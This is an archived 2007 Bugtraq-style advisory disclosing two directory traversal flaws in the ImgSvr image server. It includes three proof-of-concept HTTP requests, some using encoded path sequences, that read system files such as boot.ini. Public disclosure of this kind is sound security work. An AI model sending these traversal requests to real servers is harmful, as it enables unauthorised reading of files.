lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Mon, 24 Dec 2007 18:20:57 +0100 From: Luigi Auriemma <aluigi@...istici.org> To: bugtraq@...urityfocus.com, bugs@...uritytracker.com, news@...uriteam.com, full-disclosure@...ts.grok.org.uk, vuln@...unia.com, packet@...ketstormsecurity.org Subject: Double directory traversal in ImgSvr 0.6.21 ####################################################################### Luigi Auriemma Application: Ada Image server (ImgSvr) http://adaimgsvr.sourceforge.net Versions: <= 0.6.21 and SVN <= 28 Platforms: Windows and *nix Bug: directory traversal Exploitation: remote Date: 24 Dec 2007 Author: Luigi Auriemma e-mail: aluigi@...istici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== >From developer's website: "ImgSvr is a personal or corporate Embedded Picture Web Server that let's you efficiently browse digital pictures. Contrary to other gallery systems, imgsvr aimed to be an easy and fully dynamic picture server, no static created thumbnails are created." ####################################################################### ====== 2) Bug ====== A directory traversal vulnerability can be exploited through the usage of additional chars before the URI. In my tests was good any byte except NULL, line feed, ?, :, slash and backslash (so an amount of valid chars between 248 and 251 depending by the location of the char and if has been used the hex format). A secondary type of directory traversal is exploitable through the template parameter. If the root directory of the server is protected by authentication, the attacker must know the right username and password. ####################################################################### =========== 3) The Code =========== GET hello../../../../../boot.ini HTTP/1.0 GET anything_you_want../..%2f../%2e.%5c..%5cboot.ini HTTP/1.0 http://SERVER:1235/?template=..\..\..\..\boot.ini ####################################################################### ====== 4) Fix ====== The problems will be fixed in the next version. ####################################################################### --- Luigi Auriemma http://aluigi.org
Powered by blists - more mailing lists